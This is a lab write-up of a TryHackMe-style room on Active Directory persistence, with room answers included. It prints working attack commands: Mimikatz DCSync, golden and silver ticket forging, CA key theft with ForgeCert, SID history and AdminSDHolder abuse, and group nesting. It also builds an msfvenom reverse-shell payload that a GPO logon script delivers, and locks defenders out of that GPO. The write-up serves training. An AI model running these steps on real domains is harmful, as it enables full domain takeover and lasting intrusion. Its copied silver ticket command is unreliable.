Task 1: Introduction
Connecting to the Network
I am using my own Kali VM to complete this room, not the AttackBox provided by TryHackMe.
Download the VPN connection pack and connect to the VPN as a background service.
# Run the VPN connection as a daemon in the background
sudo openvpn --config ./persistingad.ovpn --daemon
When finished with the room, you can terminate the VPN connection with this command:
# Find the PID of the OpenVPN process
pid=$(sudo ps aux | grep -v grep | grep -i persistingad | awk -v FS=' ' '{print $2}')
# Send SIGTERM to the PID
sudo kill -9 $pid
Edit DNS Configuration
I didn't follow the guidance in the room and took a much more simplistic approach. Please note that the /etc/resolv.conf
configurations in the before and after shown below are specific to my environment.
Before
# Generated by NetworkManager
search cyber.range
nameserver 10.0.0.1
After
10.200.75.101
is the IP address of the thmdc (domain controller) in the network diagram. The domain controller is acting as the DNS resolver in the network environment.

# Generated by NetworkManager
search cyber.range za.tryhackme.loc
nameserver 10.200.88.101
nameserver 10.0.0.1
# Shorten name resolution timeouts to 1 second
options timeout:1
# Only attempt to resolve a hostname 2 times
options attempts:2
Run sudo systemctl restart networking.service
after the changes to apply the changes.
Test Hostname Lookups
nslookup thmdc.za.tryhackme.loc
Why does this work?
You're instructing the DNS resolution service to search between 10.200.75.101
and 10.0.0.1
. So, let's say you say something like this:
nslookup google.com
What's happening is this:
- First ask
10.200.75.101
– "Do you know the IP address ofgoogle.com
?" - If the domain controller answers, then stop the lookup process.
- If the domain controller doesn't have the answer, move on.
- Then, ask
10.0.0.1
– "Do you know the IP address ofgoogle.com
?"
Request Credentials
You will need a set of credentials as you progress through the lesson. You can request them from: http://distributor.za.tryhackme.loc/creds
.
Task 2: Persist Through Credentials
Order of Operations
- Use your unprivileged credentials from the distributor to facilitate initial access
- Use the Administrator credentials in the lesson to perform privileged operations. Pretend that these are credentials you've obtained during the exploitation phase.
za.tryhackme.loc\Administrator:tryhackmewouldnotguess1@
Credentials are Unreliable
- Passwords can easily be changed
- Will be changed when an attacker is discovered
- More reliable credentials would be
- Local Administrative Accounts
- Could still maintain a presence on multiple machines
- Delegate Accounts
- Given the right delegation, could generate silver or golden tickets
- AD Service Credentials
- WSUS
- SCCM
- Could force changes on the network
- Local Administrative Accounts
DC Sync
SSH to THMWRK1
ssh administrator@za.tryhackme.loc@thmwrk1.za.tryhackme.loc
DC Sync with Mimikatz
To dcsync
a single user we can test it on our user credential obtained from the distributor.
powershell.exe -ep bypass
C:\Tools\mimikatz_trunk\WIN32\mimikatz.exe
mimikatz # lsadump::dcsync /domain:za.tryhackmloc /user:donald.ross

To dcsync
all users from the domain controller, we can do it a couple of ways:
- Specify a
log
file in the Mimikatz session - Or, exit Mimikatz and run a one-liner
I'm going to choose the second options in my example, so I can keep my log file clean.
C:\Tools\mimikatz_trunk\Win32\mimikatz.exe 'lsadump::dcsync /domain:za.tryhackme.loc /all' > dcsyncall.txt
Transfer the file to Kali for keeping.
# Run the scp command from Kali
scp administrator@za.tryhackme.loc@thmwrk1.za.tryhackme.loc:C:/Users/Administrator.ZA/dcsyncall.txt .
# Remove Windows CRLF line endings
# Change to utf8 encoding
dos2unix dcsyncall.txt
# Inspect the file with the less command
# Use the arrow keys to navigate
# Search for a term by hitting the '/' key
less dcsyncall.txt
Questions
Answer
lsadump::dcsync /domain:za.tryhackme.loc /user:test
Answer
16f9af38fca3ada405386b3b57366082
Task 3: Persistence through Tickets
Golden Tickets
- If we have the
krbtgt
account's hash, we can create tickets freely - This is because, we don't need to send an AS-REQ request to prove our identity to the KDC
- We can sign any ticket with the
krbtgt
and that's enough to validate a TGT - Givent the
krbtgt
hash, we can spoof time stamps in the TGT and keep the ticket valid for years even - We can simply request a TGT as any user and sign it with the
krbtgt
hash - Now, armed with the TGT, we can request TGS tickets as the target user at will
- We can sign any ticket with the
- Information needed to generate a golden ticket
krbtgt
hash- Domain FQDN
- Domain SID
- Target user ID to impersonate
Silver Tickets
- Limited in impact when compared to a golden ticket
- Silver tickets are forged TGS tickets
- TGS tickets are requested when a user wants to access a specific service
- The TGS is created after authenticating with the KDC
- Meaning, a silver ticket never involves talking with the KDC
- Only the attacker and the target service
- A service will be running on a specific machine
- Therefore, the TGS will be signed with the machine's hash
- Computer accounts also have passwords
- Given the machine's password hash:
- Forge a TGS as a fake user
- Alter group SIDs in the ticket
- Put ourselves in privileged local groups on the target
- Now with administrative access to the machine
- Change the machine password rotation interval from 30 days to something longer
- This ensures the password hash can be reused to forge TGS tickets for re-entry to the machine
- Use access on the host to enumerate and pivot
- The TGS is created after authenticating with the KDC
Forging Tickets with Mimikatz
SSH to THMWRK1
We are going to SSH to THMWRK1
as our unprivileged user account.
ssh donald.ross@za.tryhackme.loc@thmwrk1.za.tryhackme.loc
Get the Domain Context
powershell.exe -ep bypass
Get-ADDomain
Forge Some Tickets
Golden Ticket
C:\Tools\mimikatz_trunk\Win32\mimikatz.exe
mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt
We can specify here, /admin:ReallyNotLegitAccount
because we're signing the TGT request with the krbtgt
hash, so the KDC doesn't verify our identity. It just grants the TGT because it sees the krbtgt
hash.


Silver Ticket
mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt
We specify here, /admin:StillNotALegitAccount
because this is a TGS ticket. Services on machines do not authenticate users. That's the job of the KDC – authenticate the user and issue the TGS. Since we're holding a TGS, this assumes we've already authenticated.
/id:500
is the RID of the local administrator group. The machine will authorize us seeing that we're a privileged user. Again, we can spoof and alter the ticket, because we've signed the ticket with the machine's hash.
/service:cifs
is the SMB file service. Like the author says, there's a safe bet of it running on the target server.


Questions
Answer
krbtgt
Answer
Golden Ticket
Answer
Silver Ticket
Answer
10
Task 4: Persistence through Certificates
A quick note here. The techniques discussed from this point forward are incredibly invasive and hard to remove. Even if you have signoff on your red team exercise to perform these techniques, you must take the utmost caution when performing these techniques. In real-world scenarios, the exploitation of most of these techniques would result in a full domain rebuild. Make sure you fully understand the consequences of using these techniques and only perform them if you have prior approval on your assessment and they are deemed necessary. In most cases, a red team exercise would be dechained at this point instead of using these techniques. Meaning you would most likely not perform these persistence techniques but rather simulate them.
- This attack revolves around taking the private key of the Certificate Authority (CA) of the domain.
- Armed with the private key, the attacker can now effectively "approve" their own Certificate Signing Requests (CSRs) and generate certificates to any user they please.
- In Kerberos authentication, a user can authenticate by providing their public key.
Extracting the Private Key with Mimikatz
SSH to THMDC
SSH to the domain controller using the domain administrator credential given in task 1. Since the Active Directory Certificate Services (AD CS) services is running on the domain controller, we execute the attack on this host.
ssh administrator@za.tryhackme.loc@thmdc.za.tryhackme.loc
Extract the CA's Private Key
powershell -ep bypass
C:\Tools\mimikatz_trunk\x64\mimikatz.exe
# Enumerate certificates
mimikatz # crypto::certificates /systemstore:local_machine
# Elevate privileges
mimikatz # privilege::debug
# Allow certificate export without private key
mimikatz # crypto::capi
mimikatz # crypto::cng
# Export the certificates with private keys
mimikatz # crypto::certificates /systemstore:local_machine /export
mimikatz # exit
Create Your Own Certificates
Let's create a certificate for the domain administrator account.
# List the certificate files
# "local_machine_My_1_za-THMDC-CA.pfx" is the CA's certificate with the private key
Get-ChildItem .\*.pfx
C:\Tools\ForgeCert\ForgeCert\ForgeCert.exe --CaCertPath .\local_machine_My_1_za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject 'CN=Pwned' --SubjectAltName 'Administrator@za.tryhackme.loc' --NewCertPath .\domain-admin.pfx --NewCertPassword pwned123
Now, let's use Rubeus
to create a TGT using our certificate and inject it into our session
# Create the TGT and save it locally
C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:'.\domain-admin.pfx' /password:'pwned123' /outfile:domain-admin.kirbi /domain:za.tryhackme.loc /dc:10.200.88.101
# Use Mimikatz to inject the ticket into our session
C:\Tools\mimikatz_trunk\x64\mimikatz.exe
mimikatz # kerberos::ptt domain-admin.kirbi
mimikatz # exit
dir \\thmdc.za.tryhackme.loc\C$\Users

Questions
Answer
Private key
Answer
ForgeCert.exe
Answer
kerberos::ptt ticket.kirbi
Task 5: Persistence through SID History
- Security Identifiers (SIDs) history allows for one account to be attached to another
- For example, when migrating a domain, an account on a new domain could have the SID history of an old account to retain access ot the old domain during the migration
- One way to abuse this feature is to add the SID of a privileged group – like the Domain Admins group – to the SID history of a low-level user
- Even though the user is not a member of the group in AD, the system will authorize them as if they were due to the group SID being in their history
Practical
SSH to THMDC
SSH into the domain controller using the administrator credentials provided.
ssh administrator@za.tryhackme.loc@thmdc.za.tryhackme.loc
Fact Finding
Now, let's inspect the SID history and group membership of our unprivileged account retrieved from the credential distributor.
powershell -ep bypass
Get-ADUser 'donald.ross' -Properties sidhistory,memberof

We can see the SIDHistory
property is an empty list {}
and the MemberOf
property shows that this user is only a member of the Internet Access
group.
Alter the SID History
Let's get the SID of the Domain Admins
group.
Get-ADGroup 'Domain Admins'

Now, let's use the DSInternals
PowerShell module to add the Domain Admins SID to our user's SID history:
Import-Moduls DSInternals
# Can't modify the SID history while the NTDS database is running
Stop-Service ntds -Force
# Add the SID to our account's SID history
Add-ADDBSidHistory -SamAccountName 'donald.ross' -SidHistory 'S-1-5-21-3885271727-2693558621-2658995185-512' -DatabasePath 'C:\Windows\NTDS\ntds.dit'
# Start the NTDS database again
Start-Service ntds
SSH to THMWRK1
Now, that we've added the Domain Admins group SID to our unprivileged user account, let's SSH to thmwrk1
to test out our shiny, new privileges.
# SSH to thmwrk1 from Kali
ssh donald.ross@za.tryhackme.loc@thmwrk1.za.tryhackme.loc
Now, see if we can access a privileged resource on the domain controller.
dir \\thmdc.za.tryhackme.loc\c$\Users
Impact
- Not easily removed except by RSAT tooling
- Difficult to find, not easily detected
Questions
Answer
SIDHistory
Answer
ntds.dit
Answer
Start-Service -Name ntds
Task 6: Persistence through Group Membership
- The most privileged groups or resources are note always the best choice, as they are often more closely watched for changes
- In a previous lesson, we had write access over the IT Support group, which gave us privileges to reset user passwords, which would be good for maintaining access to workstations
- A local administrator group may be less monitored than a global administrator groups
- A group nested in a privileged group may give us the access we need
Practical
I am going to try to do the exercise in a bit more of a logical fashion than demonstrated in the lesson.
SSH to THMDC
ssh administrator@za.tryhackme.loc@thmdc.za.tryhackme.loc
Create Some Groups
# Launch PowerShell
powershell -ep bypass
# Create the 1st group in the People\IT OU
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "0xBEN Nest Group 1" -SamAccountName "0xBEN_nestgroup1" -DisplayName "0xBEN Nest Group 1" -GroupScope Global -GroupCategory Security
# Create the 2nd group in the People\Sales OU
New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "0xBEN Nest Group 2" -SamAccountName "0xBEN_nestgroup2" -DisplayName "0xBEN Nest Group 2" -GroupScope Global -GroupCategory Security
# Create the 3rd group in the People\Consulting OU
New-ADGroup -Path "OU=CONSULTING,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "0xBEN Nest Group 3" -SamAccountName "0xBEN_nestgroup3" -DisplayName "0xBEN Nest Group 3" -GroupScope Global -GroupCategory Security
# Create the 4th group in the People\Marketing OU
New-ADGroup -Path "OU=MARKETING,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "0xBEN Nest Group 4" -SamAccountName "0xBEN_nestgroup4" -DisplayName "0xBEN Nest Group 4" -GroupScope Global -GroupCategory Security
# Create the 5th group in the People\IT OU
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "0xBEN Nest Group 5" -SamAccountName "0xBEN_nestgroup5" -DisplayName "0xBEN Nest Group 5" -GroupScope Global -GroupCategory Security
Nest the Groups
PERMISSIONS INHERITANCE
_______________________________________________
| | | | |
| | | v 5
| | v 4 ___________
| v 3 _________ | |
v 2 ______ | | | | Group 5
1 __ | | | | | | gets
[ ]----|> | ----|-> |----|-> |----|-> |----> added to
^ -- | | | | | | Domain
| ------ | | | | Admins
| --------- | |
|___unprivileged -----------
user
# Add Group 1 to Group 2
Add-ADGroupMember -Identity '0xBEN_nestgroup2' -Members '0xBEN_nestgroup1'
# Add Group 2 to Group 3
Add-ADGroupMember -Identity '0xBEN_nestgroup3' -Members '0xBEN_nestgroup2'
# Add Group 3 to Group 4
Add-ADGroupMember -Identity '0xBEN_nestgroup4' -Members '0xBEN_nestgroup3'
# Add Group 4 to Group 5
Add-ADGroupMember -Identity '0xBEN_nestgroup5' -Members '0xBEN_nestgroup4'
# Add Group 5 to Domain Admins
Add-ADGroupMember -Identity 'Domain Admins' -Members '0xBEN_nestgroup5'
# Add unprivileged user to Group 1
Add-ADGroupMember -Identity '0xBEN_nestgroup1' -Members 'donald.ross'
Verify Inherited Privileges
SSH to thmwrk1
as your unprivileged user.
ssh donald.ross@za.tryhackme.loc@thmwrk1.za.tryhackme.loc
Try accessing a privileged resource on the domain controller
dir \\thmdc.za.tryhackme.loc\c$\Users

Questions
Answer
Group Nesting
Answer
Add-ADGroupMember -Identity thmgroup -Members thmtest
Task 7: Persistence through ACLs
- Active Directory has a process called SDProp that replicates a template called, AdminSDHolder to all protected groups in the domain
- If an attacker adds their user account to the AdminSDHolder template, SDProp will replicate the ACL to all the protected groups when it runs every 60 minutes
- So even if the attacker is removed from privileged groups, they will be re-added at very cycle by SDProp
Practical
RDP to THMWRK1
RDP to thmwrk1
as your standard user account.
xfreerdp /v:thmwrk1.za.tryhackme.loc /u:'donald.ross' /p:'Changeme123'
Now, inject the network credentials of the domain administrator into your session. Launch a PowerShell terminal.
runas /netonly /user:za.tryhackme.loc\Administrator cmd.exe

Modify the AdminSDHolder Template
From your command prompt – now running with the injected domain admin credential – run the command mmc.exe
. Go to File > Add/Remove Snap-in
. Now, add the Active Directory Users and Computers snap-in.



Add your unprivileged user to the ACL here and be sure to allow Full Control for your user. Now, let's manually start the SDProp sync procedure.
WinRM to the Domain Controller
Use your existing command prompt for this step.

# Enter a PowerShell session
powershell -ep bypass
# WinRM to the domain controller as the DA
Enter-PSSession -ComputerName thmdc.za.tryhackme.loc
# Now running a PowerShell session on the domain controller...
Import-Module C:\Tools\Invoke-ADSDPropagation.ps1
Invoke-ADSDPropagation

Now that you've given your unprivileged user full control in the AdminSDHolder template. We can simply add ourselves as a member to a protected group. Let's test this from your unprivileged user's PowerShell windows on THMWRK1.

Questions
Answer
AdminSDHolder
Answer
SDProp
Answer
Full Control
Task 8: Persistence through GPOs
Common GPO Persistence Techniques
- Restricted Group Membership
- Logon Script Deployment
- Firewall Tampering
- Anti-Virus Tampering
Domain Persistence with Logon Scripts
Create a Payload
This is the executable that will run when the target user(s) log onto their systems.
msfvenom -p windows/shell_reverse_tcp LHOST=kali-vpn-ip LPORT=443 -f exe -o 0xBEN_pwnz.exe
Create a Batch Script
This script will run on the target user(s)' system when they logon. The script does the following actions:
- Copy the payload from the SYSVOL directory on the domain controller to a temporary directory on the user's computer
- Wait 20 seconds to ensure complete download
- Execute the payload
copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\0xBEN_pwnz.exe C:\tmp\0xBEN_pwnz.exe && timeout /t 20 && C:\tmp\0xBEN_pwnz.exe
Copy the Items to the Domain Controller
# Use scp on Kali
scp 0xBEN_pwnz.exe za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/
scp 0xBEN_pwnz.bat za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/
Create the GPO
Use your existing MMC console from Task 7 where you injected the domain administrator credentials. Go to File > Add/Remove Snap-ins
and choose Group Policy Management
.




Follow the instructions to and browse to your batch script. Use this path in the navigation bar to find your files: \\thmdc.za.tryhackme.loc\SYSVOL\za.tryhackme.loc\scripts
.
Start a Listener and Catch a Shell
First start a listener to catch the shell when one of the Administrators logs.
sudo nc -lnvp 443
Now, we'll simulate this activity by resetting an admin's password and logging in as them. Using the MMC console as the domain administrator, let's attach the Active Directory Users and Computers
snap-in.




Now, let's RDP in as the T2 administrator.
xfreerdp /v:thmserver1.za.tryhackme.loc /u:'t1_eileen.burton' /p:'Strong.Password123'

Remove Admins Ability to Edit GPOs
We don't want defenders to be able modify or delete our GPO and destroy our persistence. You should still ave your MMC console open on thmwrk1.



Click Advanced

Add Domain Computers so that they can read the policy and pull the script

Finally, Remove Authenticated Users from the policy. This will result in absolutely no person (even you) being able to view/edit the policy you created. The only way to remove it now would be to impersonate the Domain Controller's machine account.
Questions
Answer
Group Policy Management
Answer
Restricted groups
Answer
Delegation
Task 9: Conclusion
After each round of lateral movement and privilege escalation, persistence should be deployed.
Additional Persistence Techniques
- Skeleton Keys: Use Mimikatz to create a default password for any domain account that does not overwrite the existing password
- Directory Service Restore Mode (DSRM): A break-the-glass account for AD recovery, this password is often left unchanged, can be retrieved by Mimikatz
- Malicious Security Support Provider: Use Mimikatz as an SSP to log authentication attempts, can log locally or remotely
- Computer Accounts: Changing the default password rotation from 30 days to a longer duration can aid in persistence, especially if the machine account is made Administrator over other machines
Mitigation
- Be on the lookout for logins that don't adhere to a tiering model
- Have good detection capabilities around machine account passwords, ACLs, and GPOs
- Least privilege on protected resources